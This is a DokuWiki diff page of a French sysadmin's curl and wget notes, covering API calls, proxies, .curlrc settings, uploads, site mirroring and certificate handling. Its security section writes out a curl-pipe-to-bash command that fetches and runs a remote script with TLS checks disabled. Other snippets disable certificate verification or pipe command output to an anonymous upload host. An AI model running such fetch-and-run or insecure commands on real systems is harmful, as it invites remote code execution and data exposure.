AdminSysGNULinux

Outils pour utilisateurs

Outils du site

Piste :
tech:notes_curl_wget

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentesRévision précédente
Prochaine révision		Révision précédente
tech:notes_curl_wget [2025/10/30 17:05] – Jean-Baptistetech:notes_curl_wget [2026/06/17 11:06] (Version actuelle) – Jean-Baptiste
Ligne 1: Ligne 1:
 +<!DOCTYPE markdown>
 +{{tag>Brouillon Web TLS}}
 +
 +# Note curl wget
 +
 +## URL / URI
 +
 +Voir : 
 +* [Disséquons une URL, seconde partie](https://linuxfr.org/users/dascritch/journaux/cpu-ex0214-dissequons-une-url-seconde-partie)
 +
 +URI (Uniform Resource Identifier) :
 + * Name : URN (Uniform Resource Name)
 + * Location : URL (Uniform Resource Locator)
 +
 +
 +### URI
 +
 +URL, URI and URN
 +
 +### URL
 +
 +En anglais, on la décrit ainsi :
 +~~~
 +scheme : // authority / path ? query # hash 
 +~~~
 +
 +Dans sa traduction française :
 +~~~
 +plan : // autorité / chemin ? requête # fragment 
 +~~~
 +
 +Enfin , comme on l'explique à notre manière :
 +~~~
 +comment : // chez_qui / où ? question # extrait 
 +~~~
 +
 +Source : https://cpu.dascritch.net/post/2023/10/12/Standard-%3A-%28Rappel%29-les-segments-d-une-URL
 +
 +Syntax of URL
 +~~~
 +scheme: subdomain/domain-name.Top-level-domain/sub-folder
 +~~~
 +
 +
 +## wget / curl
 +
 +curl as wget
 +
 +~~~bash
 +curl -O -L http://acme.org/download/plop.tar.gz
 +~~~
 +
 +Point wget to TOR/Privoxy:
 +
 +~~~bash
 +#export http_proxy=http://127.0.0.1:8118/
 +#export https_proxy=http://127.0.0.1:8118/
 +export ALL_PROXY=http://127.0.0.1:8118/
 +
 +# Ou
 +
 +curl -x "http://127.0.0.1:8118" "http://gnu.org"
 +~~~
 +
 +
 +## curl
 +
 +Voir aussi **HTTPie**
 +
 +Voir :
 +  * [Utiliser les REST API JSON avec cURL](http://www.zem.fr/rest-api-json-curl/)
 +
 +
 +JSON
 +~~~bash
 +curl -k https://aap-controller.local/api/v2/users/27/roles/ -X POST -u user:password --data-raw '{"id":534}'
 +~~~
 +
 +~~~bash
 +curl --globoff --request POST \
 +  --header "PRIVATE-TOKEN: <your_access_token>" \
 +  --url "https://gitlab.example.com/api/v4/projects/169/pipeline?ref=master&variables[0][key]=VAR1&variables[0][value]=hello&variables[1][key]=VAR2&variables[1][value]=world"
 +
 +curl --request POST \
 +  --header "PRIVATE-TOKEN: <your_access_token>" \
 +  --header "Content-Type: application/json" \
 +  --data '{ "ref": "master", "variables": [ {"key": "VAR1", "value": "hello"}, {"key": "VAR2", "value": "world"} ] }' \
 +  --url "https://gitlab.example.com/api/v4/projects/169/pipeline"
 +~~~
 +Source : https://docs.gitlab.com/api/rest/
 +
 +
 +Préciser le host sans modifier les /etc/hosts
 +~~~bash
 +curl -H "Host:www.acme.fr" 192.168.2.14:80 
 +~~~
 +
 +Météo (Basé sur Wego)
 +~~~bash
 +curl -4 wttr.in
 +curl -H "Accept-Language: it" wttr.in/Rome
 +~~~
 +
 +/etc/hosts
 +~~~bash
 +curl --resolve www.acme.fr:80:192.168.2.10 \
 +     --resolve www.acme.fr:443:192.168.2.10 \
 +     http://www.acme.fr
 +~~~
 +
 +Forcer SSLv3
 +Pour vérifier que ça ne marche pas, car ca chiffrement est obsolète
 +`-k` Pour les certificat auto-signé
 +
 +Voir `CURLOPT_SSLVERSION`
 +~~~bash
 +curl -3 -k --show-error --verbose https://acme.fr
 +~~~
 +
 +Erreur status code
 +~~~bash
 +curl --show-error --verbose -I http://www.acme.fr
 +curl --write-out "\nhttp_code=%{http_code}\ total_time=%{time_total}\n"
 +
 +curl -s -o /dev/null -k -I -w "%{http_code}\n" https://www.acme.fr
 +~~~
 +
 +Timeout
 +~~~bash
 +curl -m 3 https://www.acme.fr
 +~~~
 +
 +
 +
 +
 +### Fichier config .curlrc
 +
 +`.curlrc`
 +~~~
 +# Source : https://gist.github.com/v1m/f1d4751883f19c916515
 +
 +# store the trace in curl_trace.txt file. beware that multiple executions of the curl command will overwrite this file
 +--trace curl_trace.txt
 +
 +# store the header info in curl_headers.txt file. beware that multiple executions of the curl command will overwrite this file
 +--dump-header curl_headers.txt
 +
 +#change the below referrer URL or comment it out entirely
 +-e "https://www.google.com"
 +
 +#change the below useragent string. get your/other UA strings from http://www.useragentstring.com/
 +-A "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13"
 +
 +#some headers
 +-H  "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
 +-H  "Upgrade-Insecure-Requests: 1"
 +-H  "Accept-Encoding: gzip, deflate, sdch"
 +-H  "Accept-Language: en-US,en;q=0.8"
 +~~~
 +
 +`.curlrc`
 +~~~
 +Source https://github.com/necolas/dotfiles/blob/0d402c916f6e1118b20bd4befff863c1e4a2ee2d/shell/curlrc
 +
 +# Limit the time (in seconds) the connection to the server is allowed to take
 +connect-timeout = 30
 +
 +# Limit the time (in seconds) the whole operation is allowed to take
 +# (prevents cURL from hanging due to slow networks or links going down)
 +max-time = 300
 +
 +# When following a redirect, automatically set the previous URL as referer
 +referer = ";auto"
 +
 +# cURL default configuration file
 +# http://curl.haxx.se/docs/manpage.html
 +
 +# Show error messages
 +show-error
 +
 +# Show progress using a progress meter
 +progress-bar
 +
 +# Send a fake UA string for the HTTP servers that sniff it
 +user-agent = "Mozilla/5.0 Gecko"
 +~~~
 +
 +Upload
 +~~~bash
 +curl -v -u admin:admin123 --upload-file pom.xml http://localhost:8081/repository/maven-releases/org/foo/1.0/foo-1.0.pom
 +~~~
 +
 +HTTP POST files here
 +~~~bash
 +curl --proxy 127.0.0.1:4444 -F'file=@yourfile.png' http://0xff.i2p
 +~~~
 +
 +Or with status bar
 +~~~bash
 +curl --proxy 127.0.0.1:4444 -T yourfile.png http://0xff.i2p | tee
 +~~~
 +
 +Upload command output
 +~~~bash
 +command | curl -T - --proxy 127.0.0.1:4444 http://0xff.i2p
 +~~~
 +
 +Upload command output with stderr
 +~~~bash
 +command 2>&1 | curl -T - --proxy 127.0.0.1:4444 http://0xff.i2p
 +~~~
 +
 +Or you can shorten URLs
 +~~~bash
 +curl --proxy 127.0.0.1:4444 -F'shorten=http://example.com/some/long/url' http://0xff.i2p
 +~~~
 +
 +
 +
 +
 +## wget
 +
 +Autres
 +~~~bash
 +wget --no-cache --no-cookie
 +~~~
 +
 +#### wget - preserve filename
 +
 +~~~bash
 +wget https://getsession.org/linux
 +# Saving to: 'linux'
 +
 +wget --content-disposition https://getsession.org/linux
 +# Saving to: 'session-desktop-linux-x86_64-1.8.6.AppImage'
 +
 +wget -O plop https://getsession.org/linux
 +# Saving to: ‘plop'
 +~~~
 +
 +
 +#### Autres
 +
 +Fix curl client certificate error: curl: (58) unable to set private key file 
 +http://honglus.blogspot.fr/2012/03/fix-curl-client-certificate-error-curl.html
 +
 +15 Practical Linux cURL Command Examples (cURL Download Examples)
 +http://www.thegeekstuff.com/2012/04/curl-examples/
 +
 +
 +
 +Download the webpage with wget. The wget options (-E, -k, etc.) are CASE SENSITIVE! The maximum depth to which the retrieval may descend is specified with the ‘-l’ option:
 +
 +~~~bash
 +wget -E -k -p -nd -r -l 1 -np -P <local-folder-name> http://site-to-be-mirrored.org
 +~~~
 +
 +wget : Ignore robots restrictions
 +~~~bash
 +wget -e robots=off --wait 1 http://your.site.here
 +~~~
 +
 +Dossier répertoire directory
 +~~~bash
 +wget http://www.claudiokuenzler.com/nagios-plugins/check_equallogic.sh -P /usr/lib/nagios/plugins/ 
 +~~~
 +
 +A partir d'un fichier d'URL
 +~~~bash
 +wget --no-proxy -i providers.txt -P /usr/share/terraform/providers/registry.terraform.io/hashicorp/vsphere
 +~~~
 +
 +
 +
 +
 +
 +### Notes exemple Dokuwiki
 +
 +wget
 +~~~bash
 +wget --max-redirect=4 --output-document=siteexport.zip --post-data="id=dokuwiki&depth=0&depthType=0.0&do=siteexport&ens=dokuwiki&template=dokuwiki" https://acme.com/doku.php?id=doku.php --http-user=USER --http-passwd=PASSWD
 +~~~
 +
 +
 +~~~bash
 +wget -E -r http://wiki.foo.tld/doku.php?id=start -l 0 --header="X-DokuWiki-Do: export_xhtml"
 +~~~
 +
 +
 +
 +
 +curl
 +~~~bash
 +curl -L --max-redirs 46 -o siteexport.zip -d "id=dokuwiki&depth=0&depthType=1.0&do=siteexport&ens=dokuwiki&exportbody=1&renderer=&template=dokuwiki" https://acme.com/doku.php?id=doku.php --anyauth --user USER:PASSWD
 +~~~
 +
 +### Notes Curl certificat auto-signé
 +
 +Pour ignoré le certificat
 +~~~bash
 +curl  -k https://www.acme.fr
 +wget --no-check-certificate https://www.acme.fr
 +~~~
 +
 +Pour enregistrer le certificat et vérifier
 +~~~bash
 +openssl s_client -showcerts -connect www.acme.fr:443 -servername www.acme.fr </dev/null > cacert.pem
 +# ou
 +curl -k -w %{certs} https://www.acme.fr > cacert.pem
 +~~~
 +
 +Tester
 +~~~bash
 +curl --cacert cacert.pem  https://www.acme.fr
 +~~~
 +
 +
 +ou avec wget
 +~~~bash
 +wget --ca-certificate=cert.pem https://www.acme.fr
 +~~~
 +
 +Voir 
 +* [[Notes SSL_TLS HTTPS client OpenSSL]]
 +* [[PKI - CA - Cert - Ajouter une autorité de certification]]
 +
 +
 +Enlever la CA
 +~~~bash
 +rm /usr/local/share/ca-certificates/acme.fr.crt
 +update-ca-certificates --fresh
 +~~~
 +
 +TODO : equivalement pour Redhat avec `update-ca-trust`
 +
 +`.curlrc`
 +~~~bash
 +cacert=/home/jean/cert.pem
 +~~~
 +
 +Ou, à éviter mais possible
 +`.curlrc`
 +~~~bash
 +insecure
 +~~~
 +
 +https sous java
 +Voir la paquet **ca-certificates-java**
 +
 +~~~bash
 +openssl s_client -showcerts -connect 192.168.4.13:5000 </dev/null > cert.crt
 +
 +# test
 +curl --show-error --verbose --cacert cert.crt https://172.18.51.220:5000
 +
 +cp cert.crt /usr/local/share/ca-certificates/acme.fr.crt
 +update-ca-certificates
 +
 +/var/lib/dpkg/info/ca-certificates-java.postinst configure
 +systemctl restart jenkins
 +~~~
 +
 +
 +## Python
 +
 +~~~python
 +import requests
 +
 +# No warn for bad https 'verify=False'
 +requests.packages.urllib3.disable_warnings()
 +
 +# HTTP GET all users ids
 +r = requests.get('https://aap.admin.acme.local/api/v2/users/', auth=(aap_user, aap_pass), verify=False)
 +~~~
 +
 +
 +## Exemple HTTPS certificat client 
 +
 +~~~bash
 +curl --verbose --show-error --tlsv1.2 --cert /etc/httpd/ssl/acme.fr.crt --key /etc/httpd/ssl/acme.fr.key https://acme.net/plop
 +wget --debug --verbose --no-check-certificate --secure-protocol=TLSv1_2 --certificate=/etc/httpd/ssl/acme.fr.crt --private-key=/etc/httpd/ssl/acme.fr.key https://acme.net/plop
 +(echo -ne "GET /plop HTTP/1.1\r\nHost: acme.net\r\n\r\n" ; cat ) | openssl s_client -connect acme.net:443 -servername acme.net -cert /etc/httpd/ssl/acme.fr.crt -key /etc/httpd/ssl/acme.fr.key
 +~~~
 +
 +~~~bash
 +curl --cacert keys/ca.crt --key keys/client1.key --cert keys/client1.crt https://pkiweb.lan
 +wget --ca-certificate=keys/ca.crt --private-key=keys/client1.key --certificate=keys/client1.crt https://pkiweb.lan
 +~~~
 +
 +
 +## Envoyer un fichier en ligne de commande (upload web)
 +
 +
 +[Goploader](https://up.depado.eu/#cur)
 +
 +~~~bash
 +# Your file will be named myfile.txt
 +curl -F file=@myfile.txt https://up.depado.eu/
 +
 +# Your file will be named myamazingfile!
 +curl -F name="myamazingfile!" -F file=@myfile.txt https://up.depado.eu/
 +
 +# Reads data from stdin
 +cat myfile.txt | curl -F name="stdin" -F file=@_ https://up.depado.eu/
 +~~~
 +
 +## Sécurité 
 +
 +Pipe bash
 +
 +https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
 +
 +~~~bash
 +curl -sSk http://pluver.xqi.cc/setup.bash
 +curl -sSk http://pluver.xqi.cc/setup.bash | bash 
 +~~~
 +
  
Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki